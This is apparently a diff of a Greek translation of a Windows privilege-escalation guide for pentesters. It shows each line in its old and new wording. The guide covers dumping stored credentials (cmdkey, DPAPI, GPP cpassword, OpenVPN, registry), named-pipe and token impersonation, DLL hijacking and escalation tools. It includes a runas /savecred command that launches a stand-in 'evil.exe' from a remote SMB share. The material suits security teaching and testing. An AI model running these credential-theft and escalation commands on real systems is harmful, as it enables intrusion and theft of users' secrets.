[**Ελέγξτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος Προστασίας**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)**
[**Δείτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος Προστασίας**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)**
Περισσότερες [εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network)
Περισσότερες[ εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network)
### Windows Subsystem for Linux (wsl)
```bash
@ -702,12 +702,12 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
```
### Credentials manager / Windows vault
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Η Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστότοπους και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι.
Από [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Το Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι.
Η Windows Vault αποθηκεύει διαπιστευτήρια που μπορεί να συνδέσει αυτόματα τους χρήστες, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστότοπος) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.
Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέσει τους χρήστες αυτόματα, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης όλη την ώρα.
Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει τη vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτήν την πηγή** από την προεπιλεγμένη αποθήκη.
Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτή την πηγή** από το προεπιλεγμένο αποθηκευτικό vault.
Χρησιμοποιήστε το `cmdkey` για να καταγράψετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή.
```bash
@ -717,7 +717,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
Μπορείτε να χρησιμοποιήσετε το `runas` με τις επιλογές `/savecred` προκειμένου να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός SMB share.
Μπορείτε να χρησιμοποιήσετε το `runas` με την επιλογή `/savecred` προκειμένου να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός SMB share.
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
@ -758,7 +758,7 @@ dpapi-extracting-passwords.md
Οι **PowerShell credentials** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει συνήθως ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν.
Για να **αποκρυπτογραφήσετε** ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε:
Για να **αποκρυπτογραφήσετε** μια PS credentials από το αρχείο που την περιέχει, μπορείτε να κάνετε:
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -916,7 +916,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω μερικά ssh keys, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού.
> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού.
### Unattended files
```
@ -980,7 +980,7 @@ AppData\Roaming\gcloud\access_tokens.db
Μια δυνατότητα ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα.
Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Μόλις βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας.
Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας.
Αναζητήστε σε `C:\ProgramData\Microsoft\Group Policy\history` ή σε _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (προτού το W Vista)_ για αυτά τα αρχεία:
@ -1024,7 +1024,7 @@ Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction
</forms>
</authentication>
```
### OpenVPN διαπιστευτήρια
### Πιστοποιητικά OpenVPN
```csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
@ -1137,13 +1137,13 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd
```
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
```
### Διαπιστευτήρια στον Κάδο Ανακύκλωσης
### Credentials in the RecycleBin
Πρέπει επίσης να ελέγξετε τον Κάδο για να αναζητήσετε διαπιστευτήρια μέσα σε αυτόν
Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκευτεί από διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### Μέσα στη μητρώο
### Inside the registry
**Άλλες πιθανές κλειδαριές μητρώου με διαπιστευτήρια**
```bash
@ -1221,7 +1221,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Leaked Handlers
Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλα τα ανοιχτά handles της κύριας διαδικασίας**.\
Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα** που δημιουργήθηκε με `OpenProcess()` και **να εισάγετε ένα shellcode**.\
Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να πιάσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα** που δημιουργήθηκε με `OpenProcess()` και **να εισάγετε ένα shellcode**.\
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
@ -1233,7 +1233,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **πελάτη**, ο **διακομιστής** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **πελάτη**, εφόσον έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Η αναγνώριση μιας **προνομιούχου διαδικασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε παρέχει μια ευκαιρία να **κερδίσετε υψηλότερα δικαιώματα** υιοθετώντας την ταυτότητα αυτής της διαδικασίας μόλις αλληλεπιδράσει με το pipe που έχετε δημιουργήσει. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείτε να βρείτε χρήσιμες οδηγίες [**here**](named-pipe-client-impersonation.md) και [**here**](#from-high-integrity-to-system).
Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρακολουθείτε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρεμβάλλετε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
@ -1301,25 +1301,25 @@ Windows 10 1709 16299 link NOT opened
https://github.com/jas502n/CVE-2019-1388
## Από Administrator Medium σε High Integrity Level / UAC Bypass
## Από το Medium επίπεδο Ακεραιότητας σε Υψηλό / Παράκαμψη UAC
Διαβάστε αυτό για να **μάθετε για τα Integrity Levels**:
Διαβάστε αυτό για να **μάθετε για τα Επίπεδα Ακεραιότητας**:
{{#ref}}
integrity-levels.md
{{#endref}}
Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τα UAC bypasses:**
Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις UAC:**
{{#ref}}
../authentication-credentials-uac-and-efs/uac-user-account-control.md
{{#endref}}
## **Από High Integrity σε System**
## **Από Υψηλό επίπεδο Ακεραιότητας σε Σύστημα**
### **Νέα υπηρεσία**
Εάν ήδη εκτελείτε μια διαδικασία High Integrity, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**:
Εάν ήδη εκτελείτε μια διαδικασία Υψηλής Ακεραιότητας, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
@ -1333,40 +1333,40 @@ sc start newservicename
**Μπορείτε** [**να βρείτε τον κώδικα εδώ**](seimpersonate-from-high-to-system.md)**.**
### From SeDebug + SeImpersonate to Full Token privileges
### Από SeDebug + SeImpersonate σε πλήρη δικαιώματα Token
Εάν έχετε αυτές τις προνόμια token (πιθανώς θα το βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το προνόμιο SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\
Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα προνόμια token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα προνόμια token_).\
Εάν έχετε αυτά τα δικαιώματα token (πιθανώς θα τα βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το δικαίωμα SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\
Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα δικαιώματα token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα δικαιώματα token_).\
**Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το προνόμιο **`SeImpersonate`** θα μπορεί να **παριστάνει το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας προνόμια SYSTEM.\
Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει σε `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα **`SeImpersonate`** θα μπορεί να **παριστάνει το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας δικαιώματα SYSTEM.\
Εάν θέλετε να [**μάθετε περισσότερα σχετικά με τους ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](#named-pipe-client-impersonation).\
Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε System χρησιμοποιώντας ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
Εάν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτό το είδος κλιμάκωσης προνομίων και, επιπλέον, είναι **πολύ πιο εύκολη να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\
**Μπορείτε** [**να μάθετε περισσότερα σχετικά με την Dll hijacking εδώ**](dll-hijacking/index.html)**.**
Εάν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος κλιμάκωσης δικαιωμάτων και, επιπλέον, είναι **πολύ πιο εύκολο να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\
**Μπορείτε** [**να μάθετε περισσότερα σχετικά με το Dll hijacking εδώ**](dll-hijacking/index.html)**.**
### **From Administrator or Network Service to System**
### **Από Administrator ή Network Service σε System**
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### From LOCAL SERVICE or NETWORK SERVICE to full privs
### Από LOCAL SERVICE ή NETWORK SERVICE σε πλήρη δικαιώματα
**Διαβάστε:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
## More help
## Περισσότερη βοήθεια
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Useful tools
## Χρήσιμα εργαλεία
**Καλύτερο εργαλείο για αναζήτηση διαδρομών κλιμάκωσης τοπικών προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**Καλύτερο εργαλείο για αναζήτηση παραγόντων κλιμάκωσης τοπικών δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS**
@ -1408,21 +1408,21 @@ _multi/recon/local_exploit_suggestor_
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```
## Βιβλιογραφία
## Αναφορές
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
{{#include ../../banners/hacktricks-training.md}}